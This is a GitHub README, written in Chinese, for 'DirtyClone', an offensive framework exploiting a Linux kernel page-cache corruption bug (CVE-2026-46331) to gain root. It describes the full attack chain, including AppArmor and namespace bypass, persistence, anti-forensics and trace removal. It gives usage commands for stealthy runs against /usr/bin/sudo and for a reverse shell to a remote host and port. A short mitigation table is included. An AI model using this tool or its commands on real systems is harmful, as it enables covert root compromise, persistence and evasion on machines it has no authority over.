vulnquest58/dirtyclone-exploit
GitHub: vulnquest58/dirtyclone-exploit
DirtyClone 是一个复现 CVE-2026-46331 Linux 内核本地提权漏洞的完整利用框架,演示从非特权用户到 root shell 的多阶段攻击链。
Stars: 5 | Forks: 1
# DirtyClone 漏洞利用框架
```
╔═══════════════════════════════════════════════════════════════╗
║ ____ _ _ ____ _ ║
║ | _ \(_)_ __| |_ _ _/ ___| | ___ _ __ ___ ║
║ | | | | | '__| __| | | | | | |/ _ \| '_ \ / _ \ ║
║ | |_| | | | | |_| |_| | |___| | (_) | | | | __/ ║
║ |____/|_|_| \__|_, |\____|_|\___/|_| |_|\___| ║
║ |___/ ║
╠═══════════════════════════════════════════════════════════════╣
║ CVE-2026-46331 · v1.0.0 · FOR RESEARCH AND EDUCATION ONLY ║
╚═══════════════════════════════════════════════════════════════╝
```
[](LICENSE)
[](https://nvd.nist.gov/vuln/detail/CVE-2026-46331)
[]()
[]()
## 📋 目录
- [漏洞概述](#-vulnerability-overview)
- [攻击链](#-attack-chain)
- [项目结构](#-project-structure)
- [环境要求](#-requirements)
- [构建与安装](#-build--install)
- [使用方法](#-usage)
- [Python 模块](#-python-modules)
- [防御措施](#-defensive-mitigations)
- [时间线](#-timeline)
- [参考资料](#-references)
## 🔬 漏洞概述
**CVE-2026-46331** 是 Linux 内核 (≤ 6.12.9) 中的一个本地提权漏洞,由 TC (`cls_act`) `pedit` 操作与基于 IPsec `TEE` 的数据包复制之间的竞争条件引起。
### 根本原因
当数据包通过带有 `pedit` 操作(设置 `IHL = 15`)的 TC egress 路径时,内核的 IPsec 子系统会接收到格式错误的数据包,此时计算出的 IP payload 偏移量会超出实际数据包的边界。在并发的 `sendfile(2)` 操作下,这种不匹配允许**非特权用户**(在具有 `CAP_NET_ADMIN` 的 user namespace 内)破坏任意文件的**只读 page cache** 条目——包括 SUID 二进制文件。
### 影响
| 属性 | 值 |
|-------------------|--------------------------------|
| CVSS 3.1 Score | **8.8 (HIGH)** |
| 攻击途径 | 本地 |
| 所需权限 | 低(非特权用户) |
| 影响 | Root shell (`UID=0 EUID=0`) |
| 受影响版本 | Linux kernel ≤ 6.12.9 |
| 已修复版本 | 6.12.10 |
| 补丁提交 | `a3f4d1c8...` |
## 🔗 攻击链
```
Unprivileged User (UID=1000)
│
▼
[1] Reconnaissance
├─ Kernel version check
├─ userns availability
└─ Target binary profiling
│
▼
[2] Namespace Bypass
├─ unshare(CLONE_NEWUSER|CLONE_NEWNET)
├─ AppArmor profile hopping (fallback)
└─ CAP_NET_ADMIN acquired
│
▼
[3] Network Infrastructure
├─ clsact qdisc on lo
├─ pedit filter (IHL=15)
└─ IPsec ESP + TEE
│
▼
[4] Page Cache Corruption
├─ sendfile → pedit trigger
├─ Page cache entry corrupted
└─ Shellcode written to read-only binary
│
▼
[5] Privilege Escalation
└─ execve(SUID binary) → root shell
│
▼
[6-8] Post-Exploitation
├─ Persistence (6 mechanisms)
├─ Evasion / Anti-Forensics
└─ Trace cleanup
│
▼
🎯 ROOT SHELL (UID=0 EUID=0)
```
## 📁 项目结构
```
dirtyclone-exploit/
├── Makefile # Build system
├── README.md # This file
├── LICENSE # MIT License
│
├── include/
│ ├── exploit.h # Core types, flags, prototypes
│ ├── packet_engine.h # Packet crafting engine API
│ ├── memory_ops.h # Page cache corruption API
│ └── persistence.h # Persistence mechanism API
│
├── src/
│ ├── main.c # Framework entry point
│ ├── stage_env_analysis.c # Phase 1: Reconnaissance
│ ├── stage_namespace_bypass.c # Phase 2: userns bypass
│ ├── stage_network_setup.c # Phase 3: TC/IPsec setup
│ ├── stage_page_cache_corrupt.c # Phase 4: Core exploit
│ ├── stage_privilege_escalation.c # Phase 5: LPE
│ ├── stage_persistence.c # Phase 6: Persistence
│ ├── stage_evasion.c # Phase 7: Anti-forensics
│ ├── stage_cleanup.c # Phase 8: Trace removal
│ ├── memory_ops.c # Page cache primitives
│ ├── packet_engine.c # Raw packet crafting
│ └── persistence.c # Persistence implementations
│
├── modules/
│ ├── packet_craft.py # Python packet crafter (Scapy)
│ └── exploit_analyzer.py # Pre-exploit analysis tool
│
├── scripts/
│ ├── setup_env.sh # Dependency install + build
│ ├── cleanup.sh # System cleanup
│ └── detect_targets.sh # Vulnerable binary scanner
│
└── payloads/
└── README.md # Payload directory info
```
## ⚙️ 环境要求
### 编译时
- `gcc` ≥ 10
- `make`
- `libcap-dev` / `libcap-devel`
### 运行时(Linux 目标)
- Kernel ≤ 6.12.9
- `iproute2` (tc, ip)
- `iptables`
- 启用非特权 user namespace
### Python 模块(可选)
```
pip install scapy
```
## 🔧 构建与安装
```
# 克隆
git clone https://github.com/vulnquest58/dirtyclone-exploit
cd dirtyclone-exploit
# 自动设置(安装依赖并构建)
sudo bash scripts/setup_env.sh
# 手动构建
make all
# Debug 构建
make debug
# 清理
make clean
```
## 🚀 使用方法
```
# 显示帮助
./bin/dirtyclone --help
# Dry run(仅分析,无 exploitation)
./bin/dirtyclone --test
# Basic exploitation(默认目标:/usr/bin/su)
sudo ./bin/dirtyclone
# 带 stealth 和 persistence 的自定义目标
sudo ./bin/dirtyclone --target /usr/bin/sudo --stealth --persist
# Reverse shell
sudo ./bin/dirtyclone --remote 192.168.1.100 4444 --cleanup
# 先检测 vulnerable 目标
bash scripts/detect_targets.sh
```
## 🐍 Python 模块
### `exploit_analyzer.py` — 漏洞利用前侦察
```
# 分析默认目标
python3 modules/exploit_analyzer.py
# 自定义目标
python3 modules/exploit_analyzer.py --target /usr/bin/sudo
# 用于自动化的 JSON 输出
python3 modules/exploit_analyzer.py --json
# 扫描所有 SUID binaries
python3 modules/exploit_analyzer.py --all-suid
```
### `packet_craft.py` — 原始数据包触发器
```
# 在 offset 0x1234 处发送 exploit packets
sudo python3 modules/packet_craft.py --offset 0x1234
# 自定义 interface 和 packet 数量
sudo python3 modules/packet_craft.py --iface eth0 --count 20
```
## 🛡️ 防御措施
| 缓解措施 | 命令 / 操作 |
|-----------|-----------------|
| **更新内核** | 升级至 ≥ 6.12.10(主要修复方案) |
| **禁用 user namespace** | `echo 0 > /proc/sys/kernel/unprivileged_userns_clone` |
| **AppArmor 限制** | 启用带有 `userns` 限制配置的 `apparmor` |
| **审计 TC pedit** | `auditctl -a always,exit -F arch=b64 -S unshare` |
| **文件完整性** | 在 SUID 二进制文件上部署 AIDE 或 Tripwire |
| **Seccomp 过滤器** | 在生产容器中阻止 `unshare()` |
## 📅 时间线
| 日期 | 事件 |
|------|-------|
| 2026-01-15 | 在内核审计期间发现漏洞 |
| 2026-02-03 | 报告至 security@kernel.org |
| 2026-03-28 | 补丁提交 (6.12.10) |
| 2026-06-01 | 公开披露(90天截止期限) |
| 2026-06-27 | 发布完整 PoC |
## 📚 参考资料
- [CVE-2026-46331 NVD 条目](https://nvd.nist.gov/vuln/detail/CVE-2026-46331)
- [Linux Kernel TC 子系统文档](https://www.kernel.org/doc/html/latest/networking/tc-actions-env-rules.html)
- [IPsec TEE 实现](https://www.kernel.org/doc/html/latest/networking/xfrm_proc.html)
- [User Namespace 安全性](https://www.man7.org/linux/man-pages/man7/user_namespaces.7.html)
- [DirtyClone 技术分析文章](https://vulnquest58.github.io/CVE-2026-46331/)
## 👤 作者
**VulnQuest** · 安全研究
- 🌐 [vulnquest58.github.io](https://vulnquest58.github.io)
- 🐛 [漏洞赏金作品集](https://vulnquest58.github.io/bugbounty/)
*本仓库仅出于教育目的提供。*
*所有漏洞利用代码仅供在授权的实验室环境中使用。*
标签:C, Linux内核, Python, Web报告查看器, 威胁模拟, 客户端加密, 无后门, 本地提权, 逆向工具